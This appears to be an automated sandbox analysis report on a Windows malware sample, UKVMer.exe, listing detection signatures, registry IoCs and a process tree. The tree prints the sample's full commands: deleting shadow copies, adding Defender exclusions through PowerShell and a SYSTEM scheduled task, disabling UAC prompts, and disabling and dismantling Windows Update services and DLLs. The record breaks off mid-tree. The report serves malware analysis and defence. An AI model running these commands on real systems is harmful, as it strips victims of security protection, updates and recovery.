a50581cd1845d7072037b1f42e30139b6a48cdb0b28edd3368d3bb31a31007bc

Analysis

max time kernel
150s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
26/09/2025, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
UKVMer.exe
Size 145KB
Sample250926-e9d5qsdp8x
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	UKVMer.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5084	powershell.exe
2104	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	UKVMer.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1640	icacls.exe
3356	takeown.exe
4460	icacls.exe
5916	icacls.exe
4236	icacls.exe
2612	icacls.exe
3860	takeown.exe
2044	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4236	icacls.exe
2612	icacls.exe
3860	takeown.exe
2044	icacls.exe
1640	icacls.exe
3356	takeown.exe
4460	icacls.exe
5916	icacls.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
868	cmd.exe
3308	cmd.exe
5444	cmd.exe
324	cmd.exe
1212	cmd.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2036	sc.exe
1248	sc.exe
640	sc.exe
5112	sc.exe
5160	sc.exe
3636	sc.exe
4976	sc.exe
3384	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\SCRNSAVE.EXE	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaveActive = "0"	UKVMer.exe

System Location Discovery: System Language Discovery 1 TTPs 55 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\SCRNSAVE.EXE	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaveActive = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	UKVMer.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3492	schtasks.exe
4588	schtasks.exe
2420	schtasks.exe
1844	schtasks.exe
1388	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe
5604	UKVMer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeTakeOwnershipPrivilege	3356	takeown.exe
Token: SeRestorePrivilege	5916	icacls.exe
Token: SeTakeOwnershipPrivilege	3860	takeown.exe
Token: SeRestorePrivilege	4236	icacls.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeIncreaseQuotaPrivilege	2104	powershell.exe
Token: SeSecurityPrivilege	2104	powershell.exe
Token: SeTakeOwnershipPrivilege	2104	powershell.exe
Token: SeLoadDriverPrivilege	2104	powershell.exe
Token: SeSystemProfilePrivilege	2104	powershell.exe
Token: SeSystemtimePrivilege	2104	powershell.exe
Token: SeProfSingleProcessPrivilege	2104	powershell.exe
Token: SeIncBasePriorityPrivilege	2104	powershell.exe
Token: SeCreatePagefilePrivilege	2104	powershell.exe
Token: SeBackupPrivilege	2104	powershell.exe
Token: SeRestorePrivilege	2104	powershell.exe
Token: SeShutdownPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeSystemEnvironmentPrivilege	2104	powershell.exe
Token: SeRemoteShutdownPrivilege	2104	powershell.exe
Token: SeUndockPrivilege	2104	powershell.exe
Token: SeManageVolumePrivilege	2104	powershell.exe
Token: 33	2104	powershell.exe
Token: 34	2104	powershell.exe
Token: 35	2104	powershell.exe
Token: 36	2104	powershell.exe
Token: SeIncreaseQuotaPrivilege	2104	powershell.exe
Token: SeSecurityPrivilege	2104	powershell.exe
Token: SeTakeOwnershipPrivilege	2104	powershell.exe
Token: SeLoadDriverPrivilege	2104	powershell.exe
Token: SeSystemProfilePrivilege	2104	powershell.exe
Token: SeSystemtimePrivilege	2104	powershell.exe
Token: SeProfSingleProcessPrivilege	2104	powershell.exe
Token: SeIncBasePriorityPrivilege	2104	powershell.exe
Token: SeCreatePagefilePrivilege	2104	powershell.exe
Token: SeBackupPrivilege	2104	powershell.exe
Token: SeRestorePrivilege	2104	powershell.exe
Token: SeShutdownPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeSystemEnvironmentPrivilege	2104	powershell.exe
Token: SeRemoteShutdownPrivilege	2104	powershell.exe
Token: SeUndockPrivilege	2104	powershell.exe
Token: SeManageVolumePrivilege	2104	powershell.exe
Token: 33	2104	powershell.exe
Token: 34	2104	powershell.exe
Token: 35	2104	powershell.exe
Token: 36	2104	powershell.exe
Token: SeIncreaseQuotaPrivilege	2104	powershell.exe
Token: SeSecurityPrivilege	2104	powershell.exe
Token: SeTakeOwnershipPrivilege	2104	powershell.exe
Token: SeLoadDriverPrivilege	2104	powershell.exe
Token: SeSystemProfilePrivilege	2104	powershell.exe
Token: SeSystemtimePrivilege	2104	powershell.exe
Token: SeProfSingleProcessPrivilege	2104	powershell.exe
Token: SeIncBasePriorityPrivilege	2104	powershell.exe
Token: SeCreatePagefilePrivilege	2104	powershell.exe
Token: SeBackupPrivilege	2104	powershell.exe
Token: SeRestorePrivilege	2104	powershell.exe
Token: SeShutdownPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeSystemEnvironmentPrivilege	2104	powershell.exe
Token: SeRemoteShutdownPrivilege	2104	powershell.exe
Token: SeUndockPrivilege	2104	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5604 wrote to memory of 4364	5604	UKVMer.exe	79
PID 5604 wrote to memory of 4364	5604	UKVMer.exe	79
PID 5604 wrote to memory of 4364	5604	UKVMer.exe	79
PID 5604 wrote to memory of 5084	5604	UKVMer.exe	81
PID 5604 wrote to memory of 5084	5604	UKVMer.exe	81
PID 5604 wrote to memory of 5084	5604	UKVMer.exe	81
PID 5604 wrote to memory of 3308	5604	UKVMer.exe	83
PID 5604 wrote to memory of 3308	5604	UKVMer.exe	83
PID 5604 wrote to memory of 3308	5604	UKVMer.exe	83
PID 5604 wrote to memory of 3820	5604	UKVMer.exe	85
PID 5604 wrote to memory of 3820	5604	UKVMer.exe	85
PID 5604 wrote to memory of 3820	5604	UKVMer.exe	85
PID 3308 wrote to memory of 2420	3308	cmd.exe	87
PID 3308 wrote to memory of 2420	3308	cmd.exe	87
PID 3308 wrote to memory of 2420	3308	cmd.exe	87
PID 3820 wrote to memory of 2356	3820	cmd.exe	88
PID 3820 wrote to memory of 2356	3820	cmd.exe	88
PID 3820 wrote to memory of 2356	3820	cmd.exe	88
PID 2356 wrote to memory of 3276	2356	net.exe	89
PID 2356 wrote to memory of 3276	2356	net.exe	89
PID 2356 wrote to memory of 3276	2356	net.exe	89
PID 3308 wrote to memory of 4392	3308	cmd.exe	90
PID 3308 wrote to memory of 4392	3308	cmd.exe	90
PID 3308 wrote to memory of 4392	3308	cmd.exe	90
PID 3308 wrote to memory of 1768	3308	cmd.exe	92
PID 3308 wrote to memory of 1768	3308	cmd.exe	92
PID 3308 wrote to memory of 1768	3308	cmd.exe	92
PID 3820 wrote to memory of 2036	3820	cmd.exe	93
PID 3820 wrote to memory of 2036	3820	cmd.exe	93
PID 3820 wrote to memory of 2036	3820	cmd.exe	93
PID 3820 wrote to memory of 1248	3820	cmd.exe	94
PID 3820 wrote to memory of 1248	3820	cmd.exe	94
PID 3820 wrote to memory of 1248	3820	cmd.exe	94
PID 3820 wrote to memory of 5180	3820	cmd.exe	96
PID 3820 wrote to memory of 5180	3820	cmd.exe	96
PID 3820 wrote to memory of 5180	3820	cmd.exe	96
PID 5180 wrote to memory of 4996	5180	net.exe	97
PID 5180 wrote to memory of 4996	5180	net.exe	97
PID 5180 wrote to memory of 4996	5180	net.exe	97
PID 3820 wrote to memory of 640	3820	cmd.exe	98
PID 3820 wrote to memory of 640	3820	cmd.exe	98
PID 3820 wrote to memory of 640	3820	cmd.exe	98
PID 3820 wrote to memory of 5112	3820	cmd.exe	99
PID 3820 wrote to memory of 5112	3820	cmd.exe	99
PID 3820 wrote to memory of 5112	3820	cmd.exe	99
PID 3820 wrote to memory of 5220	3820	cmd.exe	100
PID 3820 wrote to memory of 5220	3820	cmd.exe	100
PID 3820 wrote to memory of 5220	3820	cmd.exe	100
PID 5220 wrote to memory of 1000	5220	net.exe	101
PID 5220 wrote to memory of 1000	5220	net.exe	101
PID 5220 wrote to memory of 1000	5220	net.exe	101
PID 3820 wrote to memory of 5160	3820	cmd.exe	102
PID 3820 wrote to memory of 5160	3820	cmd.exe	102
PID 3820 wrote to memory of 5160	3820	cmd.exe	102
PID 3820 wrote to memory of 3636	3820	cmd.exe	103
PID 3820 wrote to memory of 3636	3820	cmd.exe	103
PID 3820 wrote to memory of 3636	3820	cmd.exe	103
PID 3820 wrote to memory of 5140	3820	cmd.exe	104
PID 3820 wrote to memory of 5140	3820	cmd.exe	104
PID 3820 wrote to memory of 5140	3820	cmd.exe	104
PID 5140 wrote to memory of 6140	5140	net.exe	105
PID 5140 wrote to memory of 6140	5140	net.exe	105
PID 5140 wrote to memory of 6140	5140	net.exe	105
PID 3820 wrote to memory of 4976	3820	cmd.exe	106

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	UKVMer.exe

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
"C:\Users\Admin\AppData\Local\Temp\UKVMer.exe"
1⤵
- UAC bypass
- Drops file in Drivers directory
- Event Triggered Execution: Screensaver
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5604
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2420
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4392
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:3276
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2036
- - C:\Windows\SysWOW64\sc.exe
    sc failure wuauserv reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1248
- - C:\Windows\SysWOW64\net.exe
    net stop UsoSvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4996
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:640
- - C:\Windows\SysWOW64\sc.exe
    sc failure UsoSvc reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5112
- - C:\Windows\SysWOW64\net.exe
    net stop uhssvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5220
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1000
- - C:\Windows\SysWOW64\sc.exe
    sc config uhssvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5160
- - C:\Windows\SysWOW64\sc.exe
    sc failure uhssvc reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3636
- - C:\Windows\SysWOW64\net.exe
    net stop WaaSMedicSvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5140
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:6140
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4976
- - C:\Windows\SysWOW64\sc.exe
    sc failure WaaSMedicSvc reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3384
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3356
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4460
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5916
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:2044
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\wuaueng.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3860
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:2612
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4236
- - C:\Windows\SysWOW64\icacls.exe
